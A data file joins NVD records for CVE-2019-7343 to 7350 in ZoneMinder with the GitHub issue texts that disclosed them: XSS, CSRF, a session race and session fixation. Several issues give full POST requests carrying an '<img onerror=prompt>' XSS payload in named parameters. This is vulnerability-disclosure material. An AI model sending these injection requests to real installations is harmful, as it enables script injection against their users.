{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2461" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2461" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2461

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `filter`, insecurely displays the `filter[AutoExecuteCmd]` parameter value, without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/?sort_asc=1&sort_field=StartTime&view=filter POST Data - `executeButton=&action=&filter[AutoArchive]=1&filter[AutoDelete]=1&filter[AutoExecute]=1&filter[AutoExecuteCmd]=${injectionpoint}$&filter[AutoMove]=1&filter[AutoMoveTo]=1&filter[Auto [limit]=100&filter[Query][sort_asc]=1&filter[Query][sort_field]=Id&filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query][terms][0] [val]=1&filter[UpdateDiskSpace]=1&Id=&object=filter` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="684" alt="filter 1" src="https://user-images.githubusercontent.com/47003572/51706694-468d2c00-2045-11e9-99ed-8895c33a578d.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

POST - Reflected Cross Site Scripting(XSS) - filter.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2461/comments

0

2019-01-24T20:33:09Z

2019-02-09T23:24:27Z

https://github.com/ZoneMinder/zoneminder/issues/2461

402,883,845

2,461

112

CVE-2019-7343

2019-02-04T19:29:01.133

Reflected - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[Method]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2464" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2464" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2464

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `monitor`, insecurely prints the `newMonitor[Method]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ```view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]=&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&newMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]=30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option# 1 is best, 51 is worst quality#crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N -%d/%m/%y%H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&newMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]="><img src=x onerror=prompt('1');>&newMonitor[Channel]=0&newMonitor[Format ]=255&newMonitor[Palette]=0&newMonitor[V4LMultiBuffer]=0&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=72 0&newMonitor[Orientation]=0&newMonitor[Deinterlacing]=0``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="741" alt="monitor 1" src="https://user-images.githubusercontent.com/47003572/51707864-50645e80-2048-11e9-8e63-9b80ca5f8f2c.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - monitor.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2464/comments

0

2019-01-24T20:55:16Z

2019-02-10T01:01:57Z

https://github.com/ZoneMinder/zoneminder/issues/2464

402,891,608

2,464

113

CVE-2019-7344

2019-02-04T19:29:01.193

Reflected XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'filter' as it insecurely prints the 'filter[Name]' (aka Filter name) value on the web page without applying any proper filtration.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2455" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2455" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2455

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `filter`, insecurely displays the `Filter name`, without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=filter&Id=1&action=&object=filter&filter[Name]="><img src=x onerror-prompt('1');>&filter[Query][terms][0][attr]=Archived&filter[Query][terms][0][op]=%3D&filter[Query][terms][0][val]=0&filter[Query][terms][1][cnj]=and&filter[Query][terms][1][attr]=DiskPercent&filter[Query][terms][1][op]=%3E%3D&filter[Query][terms][1][val]=95%22&filter[Query][sort_field]=Id&filter[Query][sort_asc]=1&filter[Query][limit]=100&filter[AutoExecuteCmd]=&filter[AutoDelete]=1&filter[AutoMoveTo]=&filter[Background]=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="505" alt="filter" src="https://user-images.githubusercontent.com/47003572/51705072-a92ff900-2040-11e9-88c0-30695bc03d17.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - filter.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2455/comments

0

2019-01-24T19:59:50Z

2019-02-09T23:19:34Z

https://github.com/ZoneMinder/zoneminder/issues/2455

402,872,208

2,455

114

CVE-2019-7345

2019-02-04T19:29:01.257

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view 'options' (options.php) does no input validation for the WEB_TITLE, HOME_URL, HOME_CONTENT, or WEB_CONSOLE_BANNER value, allowing an attacker to execute HTML or JavaScript code. This relates to functions.php.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2468" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2468" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2468

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `options`, does no input validation to the value supplied to `WEB_TITLE`, `HOME_URL`, `HOME_CONTENT`, `WEB_CONSOLE_BANNER` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ``` view=options&tab=web&action=options&newConfig[ZM_WEB_TITLE]=${Injectionpoint}$&newConfig[ZM_WEB_TITLE_PREFIX]=aa&newConfig[ZM_HOME_URL]=${Injectionpoint }$&newConfig[ZM_HOME_CONTENT]="><img src=x onerror=prompt('1');>&newConfig[ZM_WEB_CONSOLE_BANNER]=${Injectionpoint}$&newConfig[ZM_WEB_RESIZE_CONSOLE]=1&newConfig[ ZM_WEB_POPUP_ON_ALARM]=1&newConfig[ZM_WEB_ALARM_SOUND]=&newConfig[ZM_WEB_EVENT_SORT_FIELD]=DateTime&newConfig[ZM_WEB_EVENT_SORT_ORDER]=as c&newConfig[ZM_WEB_EVENTS_PER_PAGE]=25&newConfig[ZM_WEB_LIST_THUMB_WIDTH]=48&newConfig[ZM_WEB_LIST_THUMB_HEIGHT]=0&newConfig[ZM_WEB_USE_OB JECT_TAGS]=1&newConfig[ZM_WEB_XFRAME_WARN]=1&newConfig[ZM_WEB_FILTER_SOURCE]=Hostname ``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, `WEB_TITLE`, `HOME_URL`, `HOME_CONTENT`, `WEB_CONSOLE_BANNER` will beset with the Payload & get triggered. <img width="800" alt="web" src="https://user-images.githubusercontent.com/47003572/51709531-a63b0580-204c-11e9-8624-a550db9d2db1.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - functions.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2468/comments

0

2019-01-24T21:25:49Z

2019-02-10T02:06:43Z

https://github.com/ZoneMinder/zoneminder/issues/2468

402,902,186

2,468

115

CVE-2019-7346

2019-02-04T19:29:01.287

A CSRF check issue exists in ZoneMinder through 1.32.3 as whenever a CSRF check fails, a callback function is called displaying a "Try again" button, which allows resending the failed request, making the CSRF attack successful.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2469" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2469" } ]

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[ "352" ]

352

https://github.com/ZoneMinder/zoneminder/issues/2469

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** `Try again` button in callback function - Whenever a CSRF check fails,a callback function is called displaying a fail message. Unfortunately there also exists an "Try again" button on the page, which allows to resend the failed request, making the attack successful. **To Reproduce** <img width="619" alt="csrf" src="https://user-images.githubusercontent.com/47003572/51709967-dc2cb980-204d-11e9-8f08-d139d7d2c95f.png"> **Expected behavior** This allows an attacker to easily carry out the CSRF attack. Normally users are not too technical to understand what CSRF failure message is & would generally click on "Try Again", themselves making the attack successful. **Debug Logs** ``` None ```

Weak Cross-site Resource Forgery(CSRF) Protection

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2469/comments

1

2019-01-24T21:36:28Z

2024-12-06T16:09:42Z

https://github.com/ZoneMinder/zoneminder/issues/2469

402,905,892

2,469

116

CVE-2019-7347

2019-02-04T19:29:01.337

A Time-of-check Time-of-use (TOCTOU) Race Condition exists in ZoneMinder through 1.32.3 as a session remains active for an authenticated user even after deletion from the users table. This allows a nonexistent user to access and modify records (add/delete Monitors, Users, etc.).

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.6, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2476" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2476" } ]

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[ "367" ]

367

https://github.com/ZoneMinder/zoneminder/issues/2476

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** Time-of-check, time-of-use race conditions occur when a resource is checked for a particular value, that value is changed, then the resource is used, based on the assumption that the value is still the same as it was at check time. **To Reproduce** The session is active for authenticated user, even after deleted from users table, leading to Time-of-check Time-of-use (TOCTOU) Race Condition. This can allow an non-existing user to access & modify accessible records (Add/delete Monitors,Users etc). Affected URL : http://localhost/zm/index.php (Privileged access) - Navigate to users page and "Add New User" from users tab and assign any privileges. - Delete the newly added user. - Deleted user can still access the interface & make modifications to the allowed operations. An attacker can gain access to otherwise unauthorized resources and modify, delted or update application data. <img width="583" alt="tack 1" src="https://user-images.githubusercontent.com/47003572/51722246-cbdf0380-207a-11e9-9d3c-5f10ecef10c5.png"> <img width="584" alt="tack 2" src="https://user-images.githubusercontent.com/47003572/51722247-cbdf0380-207a-11e9-9d63-7edd65caf7e7.png"> <img width="585" alt="tack 3" src="https://user-images.githubusercontent.com/47003572/51722248-cc779a00-207a-11e9-8e68-1782994f5541.png"> **Expected behavior** - Destroy the user's session, once the users record is deleted from the database. **Debug Logs** ``` None ```

Time-of-check Time-of-use (TOCTOU) Race Condition

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2476/comments

0

2019-01-25T03:01:24Z

2020-08-06T16:49:28Z

https://github.com/ZoneMinder/zoneminder/issues/2476

402,985,677

2,476

117

CVE-2019-7348

2019-02-04T19:29:01.383

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'username' parameter value in the view user (user.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2467" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2467" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2467

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `user`, does no input validation to the value supplied to `username` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ``` view=user&action=user&uid=4&newUser%5BMonitorIds%5D=&newUser%5BUsername%5D=%3Cimgsrc%3Dxonerror%3Dprompt%28%272%27%29%3B%3E&newUser%5BPassword%5D=&conf_password=&newUser%5BLanguage%5D=en_gb&newUser%5BEnabled%5D=1&newUser%5BSt ream%5D=None&newUser%5BEvents%5D=None&newUser%5BControl%5D=None&newUser%5BMonitors%5D=None&newUser%5BGroups%5D=None&newUser%5BSystem%5D= None&newUser%5BMaxBandwidth%5D= ``` Payload used - `<img src=x onerror=prompt('1');>` - Navigate to the Affected URL, username will beset with the Payload. - Navigate to the http://192.168.0.6/zm/index.php?view=user&uid=4&popup=1, Payload will be triggered <img width="585" alt="user" src="https://user-images.githubusercontent.com/47003572/51709403-47758c00-204c-11e9-8f14-653851cc157d.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting (XSS) - user.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2467/comments

0

2019-01-24T21:19:53Z

2019-02-10T01:46:02Z

https://github.com/ZoneMinder/zoneminder/issues/2467

402,900,171

2,467

118

CVE-2019-7349

2019-02-04T19:29:01.413

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[V4LCapturesPerFrame]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2465" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2465" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2465

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `monitor`, insecurely prints the `newMonitor[V4LCapturesPerFrame]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]=&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&ne wMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]=30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option # 1 is best, 51 is worst quality #crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N - %d/%m/%y %H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&newMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]=&newMonitor[Channel]=0&newMonitor[Format]=255&newMonito r[Palette]=0&newMonitor[V4LMultiBuffer]="><img src=x onerror=prompt('1');>&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=720 &newMonitor[Orientation]=0&newMonitor[Deinterlacing]=0` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="737" alt="monitor 2" src="https://user-images.githubusercontent.com/47003572/51708035-d2548780-2048-11e9-9e23-0fa11f6a37bb.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - monitor.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2465/comments

0

2019-01-24T20:59:00Z

2019-02-10T00:54:16Z

https://github.com/ZoneMinder/zoneminder/issues/2465

402,892,908

2,465

119

CVE-2019-7350

2019-02-04T19:29:01.443

Session fixation exists in ZoneMinder through 1.32.3, as an attacker can fixate his own session cookies to the next logged-in user, thereby hijacking the victim's account. This occurs because a set of multiple cookies (between 3 and 5) is being generated when a user successfully logs in, and these sets overlap for successive logins.

